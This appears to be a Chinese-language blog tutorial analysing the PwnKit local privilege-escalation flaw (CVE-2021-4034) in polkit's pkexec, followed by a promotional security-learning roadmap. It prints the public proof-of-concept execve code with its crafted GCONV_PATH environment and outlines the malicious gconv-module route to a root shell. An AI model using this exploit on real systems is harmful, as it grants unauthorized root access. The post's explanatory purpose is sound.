CVE-2021-4034漏洞原理解析

前言

本篇文章主要叙述CVE-2021-4034漏洞,该漏洞影响的linux发行版众多,例如:Ubuntu、CentOS、Debian等等,该漏洞为Linux系统本地提权漏洞,利用脚本已经公开,利用简单且稳定,脚本地址:Github

当攻击者获取目标系统普通用户权限时,利用该脚本即可直接获得root权限,该漏洞的主要原因是因为polkit中的pkexec程序对参数个数判断不佳,导致数组溢出,具体分析过程将在下面慢慢介绍。首先得先了解下suid、sgid、sbit的特殊权限,将对后面分析起到帮助,也对后续的渗透学习开辟一些新鲜道路。

一、SUID、SGID、SBIT的介绍

suid、sgid、sbit是文件权限管理的特殊命令,基本的Linux权限为9个,分别为rwx rwx rwx,利用命令ll -a
加文件路径会发现有一些特殊的权限位符号。例如:
![在这里插入图片描述](https://img-
blog.csdnimg.cn/52800a7ab6e34b7ab875c4a59c80b121.png#pic_center)
这里有一个特殊权限位:s
Linux有十二个权限符

属主属组其他人用户位用户组其他用户
rwxrwxrwxsuidsgidsbit
  1. SUID的基本权限位有x权限,标识符为s,代表数字为4,生效对象为用户位
  2. SGID的基本权限位有x权限,标识符为s,代表数字为2,生肖对象为用户组位
  3. SBIT的基本权限位有x权限,标识符为t,代表数字为1,生效对象为其他用户

1)SUID权限位

  1. suid通过s字符标识判定,当s出现在文件所有者的x权限时,如上图/usr/bin/passwd文件,状态位:-rwsr-xr-x,此时就可以判定为时suid。
  2. suid权限仅对二进制程序有效
  3. 该权限仅在执行该程序的过程中有效
  4. 执行者将拥有该程序拥有者的权限

SUID的目的 :为了让本来没有相应权限的用户运行这个程序,可以短暂的享有该程序拥有者的权限。就比如上方图例,
/usr/bin/passwd
该二进制程序是用来修改密码的,但是linux系统中用户众多,有root、普通用户等等,这些用户都需要在特殊情况修改密码,比如在忘记 登录密码时

具体流程

  1. 因为passwd的权限对任何用户都是可执行的,所以系统中不管什么用户都可执行
  2. passwd文件的拥有者是属于root
  3. 当普通用户在执行passwd命令时,会在执行期间短暂拥有root权限
  4. 普通用户借助root权限修改了/etc/shadow文件
  5. 最后把密码修改成功
  6. 这时候,在攻击者的角度,就可以利用此类拥有者为root的二进制程序,提权成功
  • 当在渗透过程中获取了shell ,可以使用find命令查询系统上所有的s权限位文件,命令:
    find / -perm -4000 -type f -ls

参数解释:

-perm:利用权限进制搜索
-type:指定文件类型(l:软连接类型;d:文件夹类型;f:文件类型)
-ls:搜索的数据进行格式化输出
-delete:对匹配的数据进行删除

2)SGID权限位

![在这里插入图片描述](https://img-
blog.csdnimg.cn/650f7df89494450d88d7bf60bd87ad2f.png#pic_center)

  1. sgid和suid差不多,先查看s是否在所属用户组的x位置上,如果在,那就是sgid
  2. sgid获得该程序所属用户组的权限
  3. sgid仅对二进制程序有用
  4. sgid主要用在目录上
  • :sgid,如果用户在此目录下具有w,写的权限的话,若使用者在此目录下建立新文件,则新文件的群组与此目录的群组相同。

3)SBIT权限位

  1. sbit主要针对other来设置的,和suid,sgid大同小异,只是功能上不同而已
  2. sbit只对目录有效,当用户在该目录下新建文件或目录时,仅自己和root才有权利删除
  3. 最具代表的就是/tmp目录,之前在渗透项目中,获得了webshell,都要先进到/tmp目录下进行一系列下载之类的操作,因为/tmp目录,任何人都可以增加、修改文件(权限为rwx)
  • :SBIT对文件不起作用

总结

符号类型改变权限数字类型改变档案权限用 ls -l 来查看
1. chmod u+s test-- 为test文件加上setuid标志setuid位, 如果该位为1, 则表示设置setuid 4- - -
rwsrw-r-- 表示有setuid标志
2.chmod g+s test-- 为test目录加上setgid标志setgid位, 如果该位为1, 则表示设置setgid 2—
rwxrwsrw- 表示有setgid标志
3.chmod o+t test-- 为test目录加上sticky标志sticky位, 如果该位为1, 则表示设置sticky 1—rwxrw-
rwt 表示有sticky标志

二、CVE-2021-4034

  • 这里是学习了看雪论坛的某位大佬对该漏洞的整体分析,然后自己理解进行叙述!实例也是该大佬的例子。

1)相关知识

1、实例代码:

#include<stdio.h>
int main(int argc, char** argv){
	printf("argc:%d\n", argc);
	for(int i;i<argc;i++){
		printf("%s\n",argv[i]);
	}
	return 0;
}
  • 上述代码中,argc是参数个数,argv是存放的具体参数,argv[0]—>程序本身,argv[1]—>第一个参数,argv[2]—>第二个参数,argv[argc],0表示结束。
    ![在这里插入图片描述](https://img-
    blog.csdnimg.cn/988796a31d0544c19e0edae3c3bc4938.png#pic_center)

  • 当执行程序时,argc的取值至少为1,因为即使不加参数,argv[0]也要指向程序路径本身。pkexec在特殊情况下,如使用execve来调用程序,并给argv传值 NULL,则argc为0。

  • execve函数:

    #include<unistd.h>
    int execve(const char *pathname, char *const argv[], char *const envp[]);

  • execve.c:

    #include<unistd.h>
    int main(int argc, char **argv){
    return execve(“./test”, NULL, NULL);
    }

![在这里插入图片描述](https://img-
blog.csdnimg.cn/fd0cc11dd4794985a70990a534456d62.png#pic_center)

  • :argv和envp在内存中的分布是连续的。

  • execve.c:

    #include<unistd.h>
    int main(){
    char* const argv[] = {
    “AAAAAA1111”,
    “AAAAAA1111”,
    “AAAAAA1111”,
    NULL
    };
    char* const envp[] = {
    “AAAAAA1111”,
    “AAAAAA1111”,
    “AAAAAA1111”,
    NULL
    };
    return execve(“./test”, argv, envp);
    }

  • 利用execve调用test,将上述三个值分别传入argv和envp中

    #include<stdio.h>
    int main(int argc, char** argv)
    {
    printf(“argc: %d\n”, argc);
    for(int i; i<8; i++) {
    if(argv[i]!=NULL) {
    printf(“argv[%d]: %s\n”, i, argv[i]);
    } else {
    printf(“argv[%d]: NULL\n”, i);
    }
    }

    return 0;
    

    }

![在这里插入图片描述](https://img-
blog.csdnimg.cn/0143e560e4ab4e51a8381631583f2158.png#pic_center)

  • argc为3,加上截止符0,argv的大小为4,这里直接打印了8个值,显然是越界了,通过实例,表明argv与envp在内存布局上是连续的,envp紧跟argv之后。

具体分析过程请参考本文最后 (大佬分析的特别完善,受益匪浅)

2)漏洞原理

本漏洞主要被利用的包括以下几点:

  1. pkexec为 suid 程序
  2. 当argc为0时,pkexec会读取argv[1]变量,而由于刚才实例分析,内存布局是连续的,因此实际上会读取到第一个环境变量。
  3. 读取到argv[1]之后,若其不是绝对路径,则pkexec会将其理解为相对路径,会在环境变量中查找PATH变量,将其转换为实际路径。
  4. 若PATH环境变量包含一个攻击者可控的路径,则pkexec转换后的实际路径将会是这个攻击者可控的路径下的一个子目录,则显然此实际路径也是攻击者可控的。例如: /bin/shPATH=/bin:/usr/bin
  5. pkexec会对argv[1]赋值,将其修改为上述得到的实际路径,但是argv[1]此时实际上指向的是pkexec的第一个环境变量,也就是说,pkexec将自己的第一个环境变量修改为这个实际路径了。
  6. pkexec会在程序运行过程中调用g_printerr函数,这个函数会在运行的时候按需载入GCONV_PATH环境变量指向的路径下的gconv-modules文件中写明的外部动态链接库(so),并运行其中的初始化函数gconv_init。

攻击者可以做以下操作提升至root权限:

#include <unistd.h>

int main(int argc, char **argv)
{
	char * const args[] = {
		NULL
	};
	char * const environ[] = {
		"pwnkit.so:.",
		"PATH=GCONV_PATH=.",
		"SHELL=/lol/i/do/not/exists",
		"CHARSET=PWNKIT",
		"GIO_USE_VFS=",
		NULL
	};
	return execve("/usr/bin/pkexec", args, environ);
}
  • 这是CVE-2021-4034的poc,将其复制到目标机器/tmp目录下,编译运行,赋权chmod u+s,然后执行即可利用suid特殊权限,获得root权限。

或者可以:

  • 在自己可控的目录下生成一个gconv-modules文件,并将文件内容设置为指向某个so文件。
  • 在so文件中实现gconv_init函数,此函数主要就是生成一个root shell(由于pkexec默认开启SUID),而在so库的此函数中,设置当前进程用户的uid为0,即可提权到root用户。
  • 调用pkexec,而且在调用的时候通过命令行参数设置使得pkexec得到的argc为0,将环境变量中的第一个设置为非/开头的一个相对路径,将环境变量中的PATH变量的值设置为GCONV_PATH=开头的字符串,使得对应的路径指向上述存储gconv-modules文件的路径。

3)影响版本

主要有:pkexec版本为0.105之前

  • Ubuntu 20.04 LTS:policykit-1 - 0.105-26ubuntu1.2
  • Ubuntu 18.04 LTS:policykit-1 - 0.105-20ubuntu0.18.04.6
  • Ubuntu 16.04 ESM:policykit-1 - 0.105-14.1ubuntu0.5+esm1
  • Ubuntu 14.04 ESM:policykit-1 - 0.105-4ubuntu3.14.04.6+esm1
  • CentOS 6:polkit-0.96-11.el6_10.2
  • CentOS 7:polkit-0.112-26.el7_9.1

三、修复

目前各大linux发行版都给出了安全补丁,升级即可修复该漏洞。

漏洞参考:https://bbs.pediy.com/thread-271423.htm#msg_header_h2_6

学习网络安全技术的方法无非三种:

第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。

第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

第三种就是去找培训。

image.png

接下来,我会教你零基础入门快速入门上手网络安全。

网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。

第一阶段:基础准备 4周~6周

这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇
image.png

第二阶段:web渗透

学习基础 时间:1周 ~ 2周:

① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。
③ 学会提问的艺术,如果遇到不懂得要善于提问。
image.png

配置渗透环境 时间:3周 ~ 4周:

① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。

渗透实战操作 时间:约6周:

① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。
⑦ 了解一句话木马,并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限,Google关键词:提权
image.png
以上就是入门阶段

第三阶段:进阶

已经入门并且找到工作之后又该怎么进阶?详情看下图
image.png

给新手小白的入门建议:
新手入门学习最好还是从视频入手进行学习,视频的浅显易懂相比起晦涩的文字而言更容易吸收,这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦!

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值